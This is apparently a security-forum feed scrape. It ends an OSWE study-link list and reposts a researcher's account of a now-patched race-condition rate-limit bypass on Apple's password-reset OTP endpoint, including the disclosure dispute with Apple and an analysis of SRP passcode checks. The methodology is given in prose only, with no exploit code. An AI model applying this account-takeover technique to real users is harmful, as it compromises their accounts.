						<a href="https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf" rel="external nofollow">[Paper] Are you My Type?</a>
					</li>
					<li>
						<a href="https://www.youtube.com/watch?v=FPgK_udcBig" rel="external nofollow">[Video] JSON Machine from HackTheBox - Ippsec</a>
					</li>
				</ul>
			</li>
			<li>
				<h5>
					PHP Object Injection/Deserialization
				</h5>

				<ul>
					<li>
						<a href="https://blog.ripstech.com/2018/php-object-injection/" rel="external nofollow">What is PHP Object Injection</a>
					</li>
					<li>
						<a href="https://blog.ripstech.com/2018/phpbb3-phar-deserialization-to-remote-code-execution/" rel="external nofollow">phpBB 3.2.3: Phar Deserialization to RCE</a>
					</li>
					<li>
						<a href="https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a" rel="external nofollow">Exploiting PHP Desrialization</a>
					</li>
					<li>
						<a href="https://medium.com/@knownsec404team/analysis-of-typo3-deserialization-vulnerability-cve-2019-12747-5863c48f39a7" rel="external nofollow">Analysis of typo3 Deserialization Vulnerability</a>
					</li>
					<li>
						<a href="https://medium.com/@knownsec404team/extend-the-attack-surface-of-php-deserialization-vulnerability-via-phar-d6455c6a1066" rel="external nofollow">Attack Surface of PHP Deserialization Vulnerability via Phar</a>
					</li>
					<li>
						<a href="https://www.youtube.com/watch?v=HaW15aMzBUM" rel="external nofollow">[Video] Intro to PHP Deserialization / Object Injection - Ippsec</a>
					</li>
					<li>
						<a href="https://www.youtube.com/watch?v=fHZKSCMWqF4" rel="external nofollow">[Video] Advanced PHP Deserialization - Phar Files - Ippsec</a>
					</li>
					<li>
						<a href="https://www.youtube.com/watch?v=_Zj0B4D4TYc" rel="external nofollow">[Video] Exploiting PHP7 unserialize (33c3)</a>
					</li>
				</ul>
			</li>
			<li>
				<h5>
					NodeJS Deserialization
				</h5>

				<ul>
					<li>
						<a href="https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/" rel="external nofollow">Exploiting Node.js deserialization bug for Remote Code Execution</a>
					</li>
					<li>
						<a href="https://www.linkedin.com/pulse/good-bad-rce-remote-code-execution-nodejs-ionut-indre/" rel="external nofollow">The good, the bad and RCE on NodeJS applications</a>
					</li>
					<li>
						<a href="https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/" rel="external nofollow">Attacking Deserialization in JS</a>
					</li>
					<li>
						<a href="https://www.yeahhub.com/nodejs-deserialization-attack-detailed-tutorial-2018/" rel="external nofollow">Node.js Deserialization Attack – Detailed Tutorial</a>
					</li>
					<li>
						<a href="https://www.youtube.com/watch?v=aS6z4NgRysU" rel="external nofollow">[Video] Celestial machine from HackTheBox - Ippsec</a>
					</li>
				</ul>
			</li>
		</ul>
	</li>
	<li>
		<h4>
			XML External Entity (XXE) Attack
		</h4>

		<ul>
			<li>
				<a href="https://www.synack.com/blog/a-deep-dive-into-xxe-injection/" rel="external nofollow">A Deep Dive into XXE Injection</a>
			</li>
			<li>
				<a href="https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/" rel="external nofollow">From XXE to RCE: Pwn2Win CTF 2018 Writeup</a>
			</li>
			<li>
				<a href="https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce" rel="external nofollow">Blind XXE to RCE</a>
			</li>
			<li>
				<a href="https://codewhitesec.blogspot.com/2015/08/cve-2015-3269-apache-flex-blazeds-xxe.html" rel="external nofollow">Apache Flex BlazeDS XXE Vulnerabilty</a>
			</li>
			<li>
				<a href="https://medium.com/@knownsec404team/weblogic-ejbtaglibdescriptor-xxe-vulnerability-analysis-cve-2019-2888-bd649f5fcfa6" rel="external nofollow">WebLogic EJBTaglibDescriptor XXE</a>
			</li>
		</ul>
	</li>
	<li>
		<h4>
			Server Side Template Injection (SSTI)
		</h4>

		<ul>
			<li>
				<a href="https://portswigger.net/research/server-side-template-injection" rel="external nofollow">[Portswigger Research] Server Side Template Injection</a>
			</li>
			<li>
				<a href="https://www.youtube.com/watch?v=3cT0uE7Y87s" rel="external nofollow">[Video] SSTI : RCE For The Modern Web App - albinowax</a>
			</li>
			<li>
				<a href="https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34" rel="external nofollow">Server Side Template Injection</a>
			</li>
			<li>
				<a href="https://0day.work/jinja2-template-injection-filter-bypasses/" rel="external nofollow">Jinja2 template injection filter bypasses</a>
			</li>
			<li>
				<a href="http://ha.cker.info/exploitation-of-server-side-template-injection-with-craft-cms-plguin-seomatic/" rel="external nofollow">Exploitation of Server Side Template Injection with Craft CMS plugin SEOmatic &lt;=3.1.3</a>
			</li>
		</ul>
	</li>
	<li>
		<h4>
			Websocekts InSecurity
		</h4>

		<ul>
			<li>
				<a href="https://portswigger.net/web-security/websockets" rel="external nofollow">Introduction to WebSockets</a>
			</li>
			<li>
				<a href="https://www.youtube.com/watch?v=-ALjHUqSz_Y" rel="external nofollow">[Video] Hacking with Websocket - BlackHat</a>
			</li>
			<li>
				<a href="https://www.netsparker.com/blog/web-security/remote-hardware-takeover-via-vulnerable-admin-software/" rel="external nofollow">Remote Hardware takeover via Websocket Hijacking</a>
			</li>
			<li>
				<a href="https://www.notsosecure.com/how-cross-site-websocket-hijacking-could-lead-to-full-session-compromise/" rel="external nofollow">Cross-Site WebSocket Hijacking to full Session Compromise</a>
			</li>
		</ul>
	</li>
	<li>
		<h4>
			Source Code Audit
		</h4>

		<ul>
			<li>
				<a href="https://pentesterlab.com/exercises/codereview/course" rel="external nofollow">Introduction to Code Review [PentesterLab]</a>
			</li>
			<li>
				<a href="https://shells.systems/category/static-code-analysis/" rel="external nofollow">Static code analysis writeups</a>
			</li>
			<li>
				<a href="https://trendmicro.github.io/SecureCodingDojo/codereview101/" rel="external nofollow">TrendMicro - Secure Coding Dojo</a>
			</li>
			<li>
				<a href="https://www.youtube.com/watch?v=Sb011qfbMkQ" rel="external nofollow">Bug Hunting with Static Code Analysis [Video]</a>
			</li>
			<li>
				<a href="https://prakhar.prasad.pro/blog/shopify-remote-code-execution/" rel="external nofollow">Shopify Remote Code Execution - Hackerone</a>
			</li>
			<li>
				<a href="https://hydrasky.com/network-security/finding-vulnerabilities-in-source-code-aps-net/" rel="external nofollow">Finding vulnerabilities in source code ( APS.NET)</a>
			</li>
			<li>
				<a href="https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817" rel="external nofollow">A deep dive into ASP.NET Deserialization</a>
			</li>
			<li>
				<a href="https://srcincite.io/blog/" rel="external nofollow">Writeups by mr_me</a>
			</li>
		</ul>
	</li>
	<li>
		<h4>
			Youtube Playlist
		</h4>

		<ul>
			<li>
				<div class="ipsEmbeddedVideo">
					<div>
						<iframe allowfullscreen="" frameborder="0" height="270" width="480" data-embed-src="https://www.youtube.com/embed/videoseries?list=PLwvifWoWyqwqkmJ3ieTG6uXUSuid95L33"></iframe>
					</div>
				</div>
			</li>
		</ul>
	</li>
	<li>
		<h4>
			Further References/Reviews
		</h4>

		<ul>
			<li>
				<a href="https://hansesecure.de/2019/08/from-awae-to-oswe-the-preperation-guide/?lang=en" rel="external nofollow">From AWAE to OSWE the preperation guide - hansesecure</a>
			</li>
			<li>
				<a href="https://forum.hackthebox.eu/discussion/2646/oswe-exam-review-2020-notes-gifts-inside" rel="external nofollow">OSWE Exam Review 2020 Notes gifts inside - 21y4d</a>
			</li>
			<li>
				<a href="https://cyber-dragon.nl/2020/06/10/oswe-cheat-sheet/" rel="external nofollow">OSWE Cheat Sheet - V1s3r1on</a>
			</li>
			<li>
				<a href="https://github.com/wetw0rk/AWAE-PREP" rel="external nofollow">wetw0rk/AWAE-PREP</a>
			</li>
			<li>
				<a href="https://codewhitesec.blogspot.com/" rel="external nofollow">https://codewhitesec.blogspot.com/</a>
			</li>
			<li>
				<a href="https://blog.ripstech.com/" rel="external nofollow">https://blog.ripstech.com/</a>
			</li>
			<li>
				<a href="https://rhinosecuritylabs.com" rel="external nofollow">https://rhinosecuritylabs.com</a>
			</li>
		</ul>
	</li>
</ul>

<p>
	 
</p>

<p>
	Sursa: <a href="https://z-r0crypt.github.io/blog/2020/01/22/oswe/awae-preparation/" rel="external nofollow">https://z-r0crypt.github.io/blog/2020/01/22/oswe/awae-preparation/</a>
</p>
]]></description><guid isPermaLink="false">113644</guid><pubDate>Wed, 16 Sep 2020 23:39:31 +0000</pubDate></item><item><title>How I Found A Vulnerability To Hack iCloud Accounts and How Apple Reacted To It</title><link>https://rstforums.com/forum/topic/114820-how-i-found-a-vulnerability-to-hack-icloud-accounts-and-how-apple-reacted-to-it/</link><description><![CDATA[<p>
	<img alt="Apple-ID.jpg" class="ipsImage" data-ratio="70.00" height="500" width="1000" src="https://vpn.alotso.com/wp-content/uploads/2021/01/Apple-ID.jpg" />
</p>

<p>
	 
</p>

<p>
	This article is about how I found a vulnerability on Apple forgot password endpoint that allowed me to takeover an iCloud account. The vulnerability is completely patched by Apple security team and it no longer works. Apple Security Team rewarded me $18,000 USD as a part of their bounty program but I refused to receive it. Please read the article to know why I refused the bounty.
</p>

<p>
	 
</p>

<p>
	After my <a href="https://thezerohack.com/hack-any-instagram" rel="external nofollow">Instagram account takeover vulnerability</a>, I realized that many other services are vulnerable to race hazard based brute forcing. So I kept reporting the same with the affected service providers like <a href="https://thezerohack.com/how-i-might-have-hacked-any-microsoft-account" rel="external nofollow">Microsoft</a>, Apple and a few others.
</p>

<p>
	 
</p>

<p>
	Many people mistook this vulnerability as typical brute force attack but it isn’t. Here we are sending multiple concurrent requests to the server to exploit the <a href="https://www.securitycompassadvisory.com/blog/race-condition-web-applications/" rel="external nofollow">race condition vulnerability</a> present in the rate limits making it possible to bypass it.
</p>

<p>
	 
</p>

<p>
	Now lets see what I found in Apple.
</p>

<p>
	 
</p>

<p>
	The <a href="https://iforgot.apple.com/password/verify/appleid" rel="external nofollow">forgot password option</a> of Apple ID allows us to change our password using 6 digit OTP sent to our mobile number and email address respectively. Once we enter the correct OTP we will be able to change the password.
</p>

<p>
	 
</p>

<p>
	<img alt="image-2048x943.png" class="ipsImage" data-ratio="75.08" height="460" width="1000" src="https://thezerohack.com/wp-content/uploads/2021/05/image-2048x943.png" />
</p>

<p>
	 
</p>

<p>
	<em>Apple forgot password page prompting to enter mobile number after entering email address</em>
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	For security reasons, apple will prompt us to enter the trusted phone number along with email address to request OTP.
</p>

<p>
	 
</p>

<p>
	So to exploit this vulnerability, we need to know the trusted phone number as well as their email address to request OTP and will have to try all the possibilities of the 6 digit code, that would be around 1 million attempts (10 ^ 6).
</p>

<p>
	 
</p>

<p>
	As for as my testing, the forgot password endpoint had pretty strong rate limits. If we enter more than 5 attempts, our account will be locked for the next few hours, even rotating the IP didn’t help.
</p>

<p>
	 
</p>

<p>
	<img alt="appleratelimit-1024x493.jpg" data-ratio="49.20" srcset="https://thezerohack.com/wp-content/uploads/2021/05/appleratelimit-1024x493.jpg 1024w, https://thezerohack.com/wp-content/uploads/2021/05/appleratelimit-300x144.jpg 300w, https://thezerohack.com/wp-content/uploads/2021/05/appleratelimit-768x370.jpg 768w, https://thezerohack.com/wp-content/uploads/2021/05/appleratelimit-1536x739.jpg 1536w, https://thezerohack.com/wp-content/uploads/2021/05/appleratelimit-2048x985.jpg 2048w, https://thezerohack.com/wp-content/uploads/2021/05/appleratelimit-696x335.jpg 696w, https://thezerohack.com/wp-content/uploads/2021/05/appleratelimit-1392x670.jpg 1392w" style="height:auto;" width="1000" src="https://thezerohack.com/wp-content/uploads/2021/05/appleratelimit-1024x493.jpg" />
</p>

<div>
	 
</div>

<div>
	 
</div>

<div>
	<img alt="image-4-1024x536.png" data-ratio="53.60" srcset="https://thezerohack.com/wp-content/uploads/2021/05/image-4-1024x536.png 1024w, https://thezerohack.com/wp-content/uploads/2021/05/image-4-300x157.png 300w, https://thezerohack.com/wp-content/uploads/2021/05/image-4-768x402.png 768w, https://thezerohack.com/wp-content/uploads/2021/05/image-4-1536x805.png 1536w, https://thezerohack.com/wp-content/uploads/2021/05/image-4-2048x1073.png 2048w, https://thezerohack.com/wp-content/uploads/2021/05/image-4-696x365.png 696w, https://thezerohack.com/wp-content/uploads/2021/05/image-4-1392x729.png 1392w" style="height:auto;" width="1000" src="https://thezerohack.com/wp-content/uploads/2021/05/image-4-1024x536.png" /> <em>HTTP POST REQUEST SENT TO FORGOT PASSWORD ENDPOINT AND ITS RESPONSE</em>
</div>

<div>
	 
</div>

<p>
	Then I tried for race hazard based brute forcing by sending simultaneous POST requests to apple server and found a few more limitations.
</p>

<p>
	To my surprise, apple have rate limits for concurrent POST requests from single IP address, not just to the forget password endpoint but to the entire apple server. We cannot send more than 6 concurrent POST requests, it will be dropped. It will not just be dropped but our IP address will be blacklisted for future POST requests with 503 error.
</p>

<p>
	 
</p>

<p>
	<img alt="image-2-1024x511.png" data-ratio="51.10" srcset="https://thezerohack.com/wp-content/uploads/2021/05/image-2-1024x511.png 1024w, https://thezerohack.com/wp-content/uploads/2021/05/image-2-300x150.png 300w, https://thezerohack.com/wp-content/uploads/2021/05/image-2-768x383.png 768w, https://thezerohack.com/wp-content/uploads/2021/05/image-2-696x347.png 696w, https://thezerohack.com/wp-content/uploads/2021/05/image-2.png 1168w" style="height:auto;" width="1000" src="https://thezerohack.com/wp-content/uploads/2021/05/image-2-1024x511.png" />
</p>

<p>
	 
</p>

<p>
	Oh my god! That is too much <span class="ipsEmoji">?</span>
</p>

<div>
	<p style="text-align:center;">
		<img alt="Sad Oh My God GIF by Daddy's Home" data-ratio="100.00" style="height:auto;" width="450" src="https://media2.giphy.com/media/3ohhwsis0lScu4CdHi/giphy.gif?cid=ecf05e47yt1d9qxwd4v2snihmgk4qse5xkdat8tcqkpc0idz&amp;rid=giphy.gif&amp;ct=g" />
	</p>
</div>

<p>
	 
</p>

<p>
	So I thought they aren’t vulnerable to this type of attack <span class="ipsEmoji">?</span> but still had some hope since these are generic rate limits across the server and not specific to the code validation endpoint.
</p>

<p>
	 
</p>

<p>
	After some testing, I found a few things
</p>

<p>
	 
</p>

<ol>
	<li>
		iforgot.apple.com resolves to 6 IP addresses across the globe – (17.141.5.112, 17.32.194.36, 17.151.240.33, 17.151.240.1, 17.32.194.5, 17.111.105.243).
	</li>
	<li>
		There were two rate limits we have seen above, one is triggered when we send more than 5 requests to forgot password endpoint (http://iforgot.apple.com/password/verify/smscode) and another one is across the apple server when we send more than 6 concurrent POST requests.
	</li>
	<li>
		Both these rate limits are specific to apple server IP which means we can still send requests (with in limits though) to another apple server IP.
	</li>
	<li>
		We can send upto 6 concurrent requests to an apple server IP (by binding iforgot.apple.com to the IP) from single client IP address as per their limits. There are 6 apple IP address resolved as mentioned above. So we can send upto 36 requests across the 6 apple IP address (6 x 6 = 36) from single IP address.
	</li>
	<li>
		Therefore, the attacker would require 28K IP addresses to send up to 1 million requests to successfully verify the 6 digit code.
	</li>
</ol>

<p>
	 
</p>

<p>
	28k IP addresses looks easy if you use cloud service providers, but here comes the hardest part, apple server has a strange behavior when we try to send POST requests from cloud service providers like AWS, Google cloud, etc.
</p>

<p>
	 
</p>

<div>
	<img alt="image-6.png" data-ratio="76.42" srcset="https://thezerohack.com/wp-content/uploads/2021/05/image-6.png 810w, https://thezerohack.com/wp-content/uploads/2021/05/image-6-300x229.png 300w, https://thezerohack.com/wp-content/uploads/2021/05/image-6-768x587.png 768w, https://thezerohack.com/wp-content/uploads/2021/05/image-6-696x532.png 696w, https://thezerohack.com/wp-content/uploads/2021/05/image-6-80x60.png 80w" style="height:auto;" width="810" src="https://thezerohack.com/wp-content/uploads/2021/05/image-6.png" />
</div>

<div>
	 
</div>

<div>
	<em>Response for any POST request sent from AWS &amp; Google cloud</em>
</div>

<div>
	 
</div>

<p>
	They reject the POST request with 502 Bad gateway without even checking the request URI or body. I tried changing IPs but all of them returned same response code, which means they have blacklisted the entire ASN of some cloud service providers if am not wrong <span class="ipsEmoji">?</span>
</p>

<p>
	 
</p>

<div>
	<p style="text-align:center;">
		<img alt="Tired Work GIF by Rise at Seven" data-ratio="56.25" style="height:auto;" width="480" src="https://media3.giphy.com/media/efFHPJWv9tzuB6lDZs/giphy.gif?cid=ecf05e47zg05rbmz20g64sswb165h7e9fqd27bz75ierwacq&amp;rid=giphy.gif&amp;ct=g" />
	</p>

	<p style="text-align:center;">
		 
	</p>
</div>

<p>
	It makes the attack harder for those who rely on reputed cloud services like AWS. I kept trying various providers and finally found a few service providers their network IPs are not blacklisted.
</p>

<p>
	 
</p>

<p>
	Then I tried to send multiple concurrent POST requests from different IP address to verify the bypass.
</p>

<div>
	<p style="text-align:center;">
		<img alt="fun yes GIF by The Original Donut Shop Coffee" data-ratio="100.00" style="height:auto;" width="480" src="https://media0.giphy.com/media/dueHg8lzqIWqFgBIEx/giphy.gif?cid=ecf05e47u77pv8mumux1o3qm1lvkab351adbjq5k4hu7k07g&amp;rid=giphy.gif&amp;ct=g" />
	</p>

	<p style="text-align:center;">
		 
	</p>
</div>

<p>
	And it worked!!! <span class="ipsEmoji">?</span><span class="ipsEmoji">?</span><span class="ipsEmoji">?</span> Now I can change the password of any Apple ID with just their trusted phone number <span class="ipsEmoji">?</span>
</p>

<p>
	Of course the attack isn’t easy to do, we need to have a proper setup to successfully exploit this vulnerability.
</p>

<p>
	 
</p>

<p>
	First we need to bypass the SMS 6 digit code then 6 digit code received in the email address. Both bypasses are based on same method and environment so we need not change anything while trying the second bypass. Even if the user has two factor authentication enabled, we will still be able to access their account, because 2FA endpoint also shares the rate limit and was vulnerable. The same vulnerability was also present in the password validation endpoint.
</p>

<p>
	 
</p>

<p>
	I reported this information with detailed reproduction steps and a video demonstrating the bypass to Apple security team on July 1st, 2020. Apple security team acknowledged and triaged the issue with in few minutes of report.
</p>

<p>
	 
</p>

<div>
	<img alt="appletriage-1024x370.jpg" data-ratio="37.00" srcset="https://thezerohack.com/wp-content/uploads/2021/06/appletriage-1024x370.jpg 1024w, https://thezerohack.com/wp-content/uploads/2021/06/appletriage-300x108.jpg 300w, https://thezerohack.com/wp-content/uploads/2021/06/appletriage-768x278.jpg 768w, https://thezerohack.com/wp-content/uploads/2021/06/appletriage-696x252.jpg 696w, https://thezerohack.com/wp-content/uploads/2021/06/appletriage-1392x503.jpg 1392w, https://thezerohack.com/wp-content/uploads/2021/06/appletriage.jpg 1508w" style="height:auto;" width="1000" src="https://thezerohack.com/wp-content/uploads/2021/06/appletriage-1024x370.jpg" />
</div>

<p>
	 
</p>

<p>
	I didn’t get any updates from Apple after triage so I kept following up for status updates and they said they are working on a fix on Sep 9th, 2020.
</p>

<p>
	 
</p>

<div>
	<img alt="applefix-1024x287.jpg" data-ratio="28.60" srcset="https://thezerohack.com/wp-content/uploads/2021/06/applefix-1024x287.jpg 1024w, https://thezerohack.com/wp-content/uploads/2021/06/applefix-300x84.jpg 300w, https://thezerohack.com/wp-content/uploads/2021/06/applefix-768x215.jpg 768w, https://thezerohack.com/wp-content/uploads/2021/06/applefix-696x195.jpg 696w, https://thezerohack.com/wp-content/uploads/2021/06/applefix.jpg 1271w" style="height:auto;" width="1000" src="https://thezerohack.com/wp-content/uploads/2021/06/applefix-1024x287.jpg" />
</div>

<p>
	 
</p>

<p>
	Again, no updates for next 5 months and then this email came when I asked for status
</p>

<p>
	 
</p>

<div>
	<img alt="applefix2-1024x287.jpg" data-ratio="28.60" srcset="https://thezerohack.com/wp-content/uploads/2021/06/applefix2-1024x287.jpg 1024w, https://thezerohack.com/wp-content/uploads/2021/06/applefix2-300x84.jpg 300w, https://thezerohack.com/wp-content/uploads/2021/06/applefix2-768x215.jpg 768w, https://thezerohack.com/wp-content/uploads/2021/06/applefix2-696x195.jpg 696w, https://thezerohack.com/wp-content/uploads/2021/06/applefix2.jpg 1271w" style="height:auto;" width="1000" src="https://thezerohack.com/wp-content/uploads/2021/06/applefix2-1024x287.jpg" />
</div>

<p>
	 
</p>

<p>
	They said they are planning to address the issue in upcoming security update. I was wondering what is taking so long for them to react to a critical vulnerability.
</p>

<p>
	 
</p>

<p>
	I kept retesting the vulnerability to know whether its fixed instead of relying on them. I tested on April 1st, 2021 and realized a patch for the vulnerability was released to production but still there were no updates from Apple. I asked them whether the issue is patched and the response is same as they have no status updates to share.
</p>

<p>
	 
</p>

<p>
	<img alt="applenostatus-1024x226.jpg" data-ratio="22.60" srcset="https://thezerohack.com/wp-content/uploads/2021/06/applenostatus-1024x226.jpg 1024w, https://thezerohack.com/wp-content/uploads/2021/06/applenostatus-300x66.jpg 300w, https://thezerohack.com/wp-content/uploads/2021/06/applenostatus-768x170.jpg 768w, https://thezerohack.com/wp-content/uploads/2021/06/applenostatus-696x154.jpg 696w, https://thezerohack.com/wp-content/uploads/2021/06/applenostatus.jpg 1285w" style="height:auto;" width="1000" src="https://thezerohack.com/wp-content/uploads/2021/06/applenostatus-1024x226.jpg" />
</p>

<p>
	 
</p>

<p>
	I was patient and waiting for them to update the status. After a month, I wrote them that the issue was patched on April 1st itself and why am not being updated about it, I also told that I wanted to publish the report to my blog.
</p>

<p>
	 
</p>

<p>
	Apple security team asked me whether it is possible to share the draft of the article with them before publishing. That is when things started to go unexpected.
</p>

<p>
	 
</p>

<p>
	After sharing the draft, they denied my claim saying that this vulnerability do not allow to takeover majority of the icloud accounts. Here’s their response
</p>

<p>
	 
</p>

<div>
	<img alt="image-8-1024x523.png" data-ratio="52.20" srcset="https://thezerohack.com/wp-content/uploads/2021/05/image-8-1024x523.png 1024w, https://thezerohack.com/wp-content/uploads/2021/05/image-8-300x153.png 300w, https://thezerohack.com/wp-content/uploads/2021/05/image-8-768x392.png 768w, https://thezerohack.com/wp-content/uploads/2021/05/image-8-696x355.png 696w, https://thezerohack.com/wp-content/uploads/2021/05/image-8.png 1289w" style="height:auto;" width="1000" src="https://thezerohack.com/wp-content/uploads/2021/05/image-8-1024x523.png" />
</div>

<p>
	 
</p>

<p>
	As you can see in the email screenshot, their analysis revealed that it only works against iCloud accounts that has not been used in passcode / password protected Apple devices.
</p>

<p>
	 
</p>

<div>
	<p style="text-align:center;">
		<img alt="Tom Cruise What GIF" data-ratio="73.71" style="height:auto;" width="426" src="https://media4.giphy.com/media/glmRyiSI3v5E4/giphy.gif?cid=ecf05e47nz3r9nrrlcm4zr0cwe6i70f1gaai4syvugxeo8zx&amp;rid=giphy.gif&amp;ct=g" />
	</p>

	<p style="text-align:center;">
		 
	</p>
</div>

<p>
	I argued that even if the device passcode (4 digit or 6 digit) is asked instead of 6 digit code sent to email, it will still share the same rate limits and would be vulnerable to race condition based brute forcing attacks. We will also be able to discover the passcode of the associated Apple device.
</p>

<p>
	 
</p>

<p>
	I also noticed a few changes in their support page regarding forgot password.
</p>

<p>
	 
</p>

<div>
	<img alt="image-9-1024x265.png" data-ratio="26.40" srcset="https://thezerohack.com/wp-content/uploads/2021/06/image-9-1024x265.png 1024w, https://thezerohack.com/wp-content/uploads/2021/06/image-9-300x78.png 300w, https://thezerohack.com/wp-content/uploads/2021/06/image-9-768x198.png 768w, https://thezerohack.com/wp-content/uploads/2021/06/image-9-1536x397.png 1536w, https://thezerohack.com/wp-content/uploads/2021/06/image-9-2048x529.png 2048w, https://thezerohack.com/wp-content/uploads/2021/06/image-9-696x180.png 696w, https://thezerohack.com/wp-content/uploads/2021/06/image-9-1392x360.png 1392w" style="height:auto;" width="1000" src="https://thezerohack.com/wp-content/uploads/2021/06/image-9-1024x265.png" />
</div>

<p>
	 
</p>

<p>
	Link : <a href="https://support.apple.com/en-in/HT201487" rel="external nofollow">https://support.apple.com/en-in/HT201487</a>
</p>

<p>
	The above screenshot shows how the page looks now but it wasn’t the same before my report.
</p>

<p>
	In October 2020, that page looked like this
</p>

<p>
	 
</p>

<p>
	<img alt="image-1-1-1024x214.png" data-ratio="21.30" srcset="https://thezerohack.com/wp-content/uploads/2021/06/image-1-1-1024x214.png 1024w, https://thezerohack.com/wp-content/uploads/2021/06/image-1-1-300x63.png 300w, https://thezerohack.com/wp-content/uploads/2021/06/image-1-1-768x160.png 768w, https://thezerohack.com/wp-content/uploads/2021/06/image-1-1-1536x320.png 1536w, https://thezerohack.com/wp-content/uploads/2021/06/image-1-1-2048x427.png 2048w, https://thezerohack.com/wp-content/uploads/2021/06/image-1-1-696x145.png 696w, https://thezerohack.com/wp-content/uploads/2021/06/image-1-1-1392x290.png 1392w" style="height:auto;" width="1000" src="https://thezerohack.com/wp-content/uploads/2021/06/image-1-1-1024x214.png" />
</p>

<p>
	 
</p>

<p>
	Link from web archive : <a href="https://web.archive.org/web/20201005172245/https://support.apple.com/en-in/HT201487" rel="external nofollow">http://web.archive.org/web/20201005172245/https://support.apple.com/en-in/HT201487</a>
</p>

<p>
	“In some cases” is prefixed to the paragraph on October 2020, that is exactly after I was told that they are working on a fix in September 2020.
</p>

<p>
	 
</p>

<p>
	It looks like everything was planned, the page was updated to support their claim of only limited users were vulnerable. That page wasn’t updated for years but getting a minor update after my report. It doesn’t look like a coincidence.
</p>

<p>
	 
</p>

<p>
	When I asked about it, they said the updates are made due to changes in iOS 14. What does resetting password using trusted email / phone number has to do with iOS 14 I asked. If that is true, are trusted phone number and email used to reset the password before iOS 14? If that’s the case, my report is applicable to all Apple accounts. I didn’t get any answer from them.
</p>

<p>
	 
</p>

<p>
	I was disappointed and told them that I am going to publish the blog post with all the details without waiting for their approval. Here’s the reply I got from them.
</p>

<p>
	 
</p>

<div>
	<img alt="applecall1-1024x554.jpg" data-ratio="55.30" srcset="https://thezerohack.com/wp-content/uploads/2021/06/applecall1-1024x554.jpg 1024w, https://thezerohack.com/wp-content/uploads/2021/06/applecall1-300x162.jpg 300w, https://thezerohack.com/wp-content/uploads/2021/06/applecall1-768x415.jpg 768w, https://thezerohack.com/wp-content/uploads/2021/06/applecall1-696x377.jpg 696w, https://thezerohack.com/wp-content/uploads/2021/06/applecall1.jpg 1390w" style="height:auto;" width="1000" src="https://thezerohack.com/wp-content/uploads/2021/06/applecall1-1024x554.jpg" />
</div>

<p>
	 
</p>

<p>
	They arranged a call with Apple team engineers to explain what they found in their analysis and also to answer any questions I may have.
</p>

<p>
	During the call, I asked why it is different from the vulnerability I found. They said that the passcode is not being sent to any server endpoint and is verified in the device itself. I argued that there is no way for a random apple device to know another device’s passcode without contacting Apple server. They said it is true that the data is sent to server but it is verified using a cryptographic operation and they cannot reveal more than that due to security concerns.
</p>

<p>
	 
</p>

<p>
	I asked what if we find out the encryption process through reverse engineering to replicate it and brute force the Apple server with concurrent requests. I didn’t get any definite answer for that question. They concluded that the only way to brute force the passcode is through brute forcing the Apple device which is not possible due to the local system rate limits.
</p>

<p>
	 
</p>

<p>
	I couldn’t accept what Apple engineers said, logically, it should be possible to replicate what Apple device is doing while sending the passcode data to server.
</p>

<p>
	 
</p>

<p>
	I thought to verify it myself to prove them. If what they said is true, passcode validation endpoint should be vulnerable to race condition based brute forcing. After a few hours of testing I found that they have SSL pinning specific to the passcode validation endpoint, so the traffic sent to the server cannot be read by MITM proxy like burp / charles.
</p>

<p>
	 
</p>

<p>
	Thanks to <a href="https://checkra.in/" rel="external nofollow">checkra1n </a>and <a href="https://github.com/nabla-c0d3/ssl-kill-switch2" rel="external nofollow">SSL Kill Switch</a>, using their tool I was able to bypass pinning and read the traffic sent to server.
</p>

<p>
	 
</p>

<p>
	I figured out that Apple uses <a href="https://medium.com/swlh/what-is-secure-remote-password-srp-protocol-and-how-to-use-it-70e415b94a76" rel="external nofollow">SRP (Secure Remote Password)</a>, a <a href="https://blog.cryptographyengineering.com/2018/10/19/lets-talk-about-pake/" rel="external nofollow">PAKE protocol</a> to verify the user knows the right passcode without actually sending it to the server. So what the engineers said is right, they aren’t sending the passcode directly to server. Instead, both server and client do some mathematical calculations using the previously known data to derive at a key (more like diffie-hellman key exchange).
</p>

<p>
	 
</p>

<p>
	Without getting into the specifics of SRP, let me get straight to what is necessary in our context.
</p>

<ul>
	<li>
		Apple server has two stored values namely verifier and salt specific to each user created at the time of setting or updating the passcode.
	</li>
	<li>
		Whenever a user initiates a SRP authentication with username and a ephemeral value A, Apple server responds back with the salt of the specific user and a ephemeral value B.
	</li>
	<li>
		Client uses the salt obtained from server to calculate the key prescribed by SRP-6a.
	</li>
	<li>
		Server uses the salt and verifier to calculate the key prescribed by SRP-6a.
	</li>
	<li>
		Finally they both prove to each other that the derived key are same.
	</li>
</ul>

<p>
	 
</p>

<p>
	Read more about the detailed calculations of <a href="http://srp.stanford.edu/design.html" rel="external nofollow">SRP-6a here</a>.
</p>

<p>
	 
</p>

<p>
	SRP is known to prevent bruteforce attacks as it has user-specific salt and a verifier, so even if someone steals our database, they will still need to perform a CPU intensive bruteforce for each user to discover the password one by one. That gives enough time for the affected vendor to react to it.
</p>

<p>
	 
</p>

<p>
	But, in our case, we don’t have to bruteforce a large number of accounts. Bruteforcing single user is enough to get into their iCloud account as well as finding their passcode.
</p>

<p>
	 
</p>

<p>
	Brute forcing is possible only when you have both salt and verifier specific to the target user. After bypassing the SMS passcode we can easily impersonate as the target user and obtain the salt. But the problem here is verifier. We should either somehow obtain the verifier from server or bypass the rate limit on key verifying endpoint.
</p>

<p>
	 
</p>

<p>
	If the rate limit is bypassed, we can keep on trying different combinations of key obtained using the precomputed values of the passcode until we arrive at the matching key. Obviously, it requires a lot of computation to derive a key of each 4 or 6 digit numeric passcodes (from 0000/000000 to 9999/999999).
</p>

<p>
	 
</p>

<div>
	<p style="text-align:center;">
		<img alt="iphoneother-e1623844871191.jpg" data-ratio="172.41" style="height:auto;" width="232" src="https://thezerohack.com/wp-content/uploads/2021/06/iphoneother-e1623844871191.jpg" />
	</p>

